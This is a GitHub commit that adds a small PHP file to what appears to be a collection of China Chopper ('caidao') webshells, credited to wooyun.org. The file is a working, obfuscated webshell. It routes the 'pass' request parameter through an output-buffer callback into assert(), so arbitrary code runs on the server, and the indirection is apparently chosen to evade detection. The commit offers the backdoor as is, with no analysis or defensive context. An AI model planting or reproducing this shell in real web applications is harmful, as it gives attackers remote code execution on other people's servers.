add w-ob_start01.php

from : wooyun.org author : isno
ooopsec · Oct 29, 2015 · e046b28 · e046b28
1 parent 777cd7a
commit e046b28
Showing 1 changed file with 7 additions and 0 deletions.
diff --git a/caidao-shell/w-ob_start01.php b/caidao-shell/w-ob_start01.php
@@ -0,0 +1,7 @@
+<?php 
+$evalstr=""; 
+ob_start(function ($c,$d){global $evalstr;$evalstr=$c;}); 
+echo $_REQUEST['pass']; 
+ob_end_flush(); 
+assert($evalstr); 
+?>